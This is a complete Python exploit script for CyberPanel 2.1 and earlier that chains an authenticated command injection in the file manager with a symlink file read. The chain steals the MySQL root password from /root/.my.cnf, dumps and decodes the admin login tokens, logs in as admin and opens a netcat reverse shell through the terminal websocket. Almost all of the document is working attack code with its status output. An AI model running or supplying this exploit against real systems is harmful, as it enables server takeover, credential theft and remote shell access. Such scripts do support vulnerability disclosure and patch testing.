# Title: CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated) # Date: 27.08.2021 # Author: Numan Türle # Vendor Homepage: https://cyberpanel.net/ # Software Link: https://github.com/usmannasir/cyberpanel # Version: <=2.1 # https://www.youtube.com/watch?v=J_8iLELVgkE #!/usr/bin/python3 # -*- coding: utf-8 -*- # CyberPanel - Remote Code Execution (Authenticated) # author: twitter.com/numanturle # usage: cyberpanel.py [-h] -u HOST -l LOGIN -p PASSWORD [-f FILE] # cyberpanel.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password import argparse,requests,warnings,json,re,base64,websocket,ssl,_thread,time from requests.packages.urllib3.exceptions import InsecureRequestWarning from cmd import Cmd warnings.simplefilter('ignore',InsecureRequestWarning) def init(): parser = argparse.ArgumentParser(description='CyberPanel Remote Code Execution') parser.add_argument('-u','--host',help='Host', type=str, required=True) parser.add_argument('-l', '--login',help='Username', type=str, required=True) parser.add_argument('-p', '--password',help='Password', type=str, required=True) parser.add_argument('-f', '--file',help='File', type=str) args = parser.parse_args() exploit(args) def exploit(args): def on_open(ws): verifyPath,socket_password print("[+] Socket connection successful") print("[+] Trying a reverse connection") ws.send(json.dumps({"tp":"init","data":{"verifyPath":verifyPath,"password":socket_password}})) ws.send(json.dumps({"tp":"client","data":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1337 >/tmp/f\r","verifyPath":verifyPath,"password":socket_password})) ws.close() def on_close(ws, close_status_code, close_msg): print("[+] Successful") print("[!] Disconnect from socket") session = requests.Session() target = "https://{}:8090".format(args.host) username = args.login password = args.password print("[+] Target {}".format(target)) response = session.get(target, verify=False) session_hand = session.cookies.get_dict() token = session_hand["csrftoken"] print("[+] Token {}".format(token)) headers = { 'X-Csrftoken': token, 'Cookie': 'csrftoken={}'.format(token), 'Referer': target } login = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":username,"password":password,"languageSelection":"english"}) login_json = json.loads(login.content) if login_json["loginStatus"]: session_hand_login = session.cookies.get_dict() print("[+] Login Success") print("[+] Send request fetch websites list") headers = { 'X-Csrftoken': session_hand_login["csrftoken"], 'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]), 'Referer': target } feth_weblist = session.post(target+"/websites/fetchWebsitesList", headers=headers, verify=False, json={"page":1,"recordsToShow":10}) feth_weblist_json = json.loads(feth_weblist.content) if feth_weblist_json["data"]: weblist_json = json.loads(feth_weblist_json["data"]) domain = weblist_json[0]["domain"] domain_folder = "/home/{}".format(domain) print("[+] Successfully {} selected".format(domain)) print("[+] Creating ssh pub") remove_ssh_folder = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"path":domain_folder,"method":"deleteFolderOrFile","fileAndFolders":[".ssh"],"domainRandomSeed":"","domainName":domain,"skipTrash":1}) create_ssh = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)}) create_ssh_json = json.loads(create_ssh.content) if create_ssh_json["status"]: key = create_ssh_json["deploymentKey"] print("[+] Key : {}".format(key)) explode_key = key.split() explode_username = explode_key[-1].split("@") if explode_username[0]: username = explode_username[0] hostname = explode_username[1] print("[+] {} username selected".format(username)) print("[+] Preparing for symlink attack") print("[+] Attempting symlink attack with user-level command execution vulnerability #1") target_file = args.file if not target_file: target_file = "/root/.my.cnf" domain_folder_ssh = "{}/.ssh".format(domain_folder) command = "rm -rf {}/{}.pub;ln -s {} {}/{}.pub".format(domain_folder_ssh,username,target_file,domain_folder_ssh,username) completeStartingPath = "{}';{};'".format(domain_folder,command) #filemanager/controller - completeStartingPath - command execution vulnerability symlink = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain}) symlink_json = json.loads(symlink.content) if symlink_json["status"]: print("[+] [SUDO] Arbitrary file reading via symlink --> {} #2".format(target_file)) read_file = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)}) read_file_json = json.loads(read_file.content) read_file = read_file_json["deploymentKey"] if not args.file: print("-----------------------------------") print(read_file.strip()) print("-----------------------------------") mysql_password = re.findall('password=\"(.*?)\"',read_file)[0] steal_token = "rm -rf token.txt;mysql -u root -p\"{}\" -D cyberpanel -e \"select token from loginSystem_administrator\" > '{}/token.txt".format(mysql_password,domain_folder) print("[+] Fetching users tokens") completeStartingPath = "{}';{}".format(domain_folder,steal_token) steal_token_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain}) token_file = domain_folder+"/token.txt" steal_token_read_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"fileName":token_file,"method":"readFileContents","domainRandomSeed":"","domainName":domain}) leak = json.loads(steal_token_read_request.content) leak = leak["fileContents"].replace("Basic ","").strip().split("\n")[1:] print("------------------------------") for user in leak: b64de = base64.b64decode(user).decode('utf-8') exp_username = b64de.split(":") if exp_username[0] == "admin": admin_password = exp_username[1] print("[+] " + b64de) print("------------------------------") print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") print("[+] Try login admin") headers = { 'X-Csrftoken': token, 'Cookie': 'csrftoken={}'.format(token), 'Referer': target } login_admin = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":"admin","password":admin_password,"languageSelection":"english"}) login_json = json.loads(login_admin.content) if login_json["loginStatus"]: session_hand_login = session.cookies.get_dict() print("[+] 4dm1n_l061n_5ucc355") print("[+] c0nn3c71n6_70_73rm1n4l") headers = { 'X-Csrftoken': session_hand_login["csrftoken"], 'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]), 'Referer': target } get_websocket_token = session.get(target+"/Terminal", headers=headers, verify=False) verifyPath = re.findall('id=\"verifyPath\">(.*?)</div>',str(get_websocket_token.content))[-1] socket_password = re.findall('id=\"password\">(.*?)</div>',str(get_websocket_token.content))[-1] print("[+] verifyPath {}".format(verifyPath)) print("[+] socketPassword {}".format(socket_password)) print("[+] Trying to connect to socket") ws = websocket.WebSocketApp("wss://{}:5678".format(args.host), on_open=on_open, on_close=on_close) ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE}) else: print("[-] Auto admin login failed") else: print(read_file) else: print("[-] Unexpected") else: print("[-] Username selected failed") else: print("[-] Fail ssh pub") else: print("[-] List error") else: print("[-] AUTH : Login failed msg: {}".format(login_json["error_message"])) if __name__ == "__main__": init()